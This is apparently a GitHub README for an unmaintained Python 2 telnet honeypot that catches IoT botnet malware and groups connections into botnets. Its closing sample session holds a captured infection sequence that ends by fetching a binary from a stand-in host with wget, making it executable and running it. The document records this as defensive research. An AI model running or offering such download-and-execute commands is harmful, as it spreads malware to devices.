Home

Awesome

Disclaimer

This project neither supported or in development anymore. It is based on python2 which has reached its EOL in 2020 and uses dependencies which are getting harder to install over time. Use at your own risk!

Telnet IoT honeypot

'Python telnet honeypot for catching botnet binaries'

This project implements a python telnet server trying to act as a honeypot for IoT Malware which spreads over horribly insecure default passwords on telnet servers on the internet.

The honeypot works by emulating a shell enviroment, just like cowrie (https://github.com/micheloosterhof/cowrie). The aim of this project is primarily to automatically analyse Botnet connections and "map" Botnets by linking diffrent connections and even Networks together.

Architecture

The application has a client/server architecture, with a client (the actual honeypot) accepting telnet connections and a server which receives information about connections and does the analysis.

The backend server exposes a HTTP interface which is used to access to frontend as well as by the clients to push new Connection information to the backend.

Automatic analysis

The Backend uses 2 diffrent mechanisms to automatically link connections:

Networks

Networks are discovered Botnets. A network is the set of all linked connections, urls and samples. Urls and samples are linked when they are used in a connection. Two connections are linked when both connections are recieved by the same honeypot client (mutliple clients are supported!) and use the same credentials in a short period of time (defautl 2 minutes) or come from the same IP address.

Malware

Multiple networks are identified to use the same type of malware if the text entered during sessions of the networks aro mostly the same. This comparison is done using sort of "hash"-function which basically translates a session (or connection) into a sequence of words and then maps each word to a single byte so this resulting sequence of bytes can be easily searched.

Running

The application has a config file named config.py. Samples are included for local and client/server deployments.

Configuration

The backend requires a SQL-database (default sqlite) which is initialized at first run. Before the first run you should generate a admin account which is used to generate more users. The admin account can also directly used by a client to post connections. When more than one honeypots shall be connected, creating multiple users is recommended.

bash create_config.sh

Both client and backend will read the files config.yaml and config.dist.yaml to read configuration parameters. The config.dist.yaml file includes default values for all but admin user credentials and these parameters are overwirtten by entries in the config.yaml file.

Running the Server

python backend.py

Running the Client

This project contains an own honeypot, however because of the client-server architecture, other honeypot can be used as well.

Using the built-in honeypot

python honeypot.py

The client cannot be started without the server running. To use a diffrent configuration for the client you can use the -c switch like this:

python honeypot.py -c myconfig.yaml

If you only want to check the honeypot functionality, you can start the client in interactive mode:

python honeypot shell

Using cowrie

I wrote an output plugin for cowrie, which has much more features than the built in honeypot. If you want to use cowrie instead, checkout my fork which includes the output module here: https://github.com/Phype/cowrie .

Opening the frontend

After the server is started, open http://127.0.0.1/ in your favorite browser.

Sample Connection

enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit

Images

Screenshot 1

Screenshot 2

Screenshot 3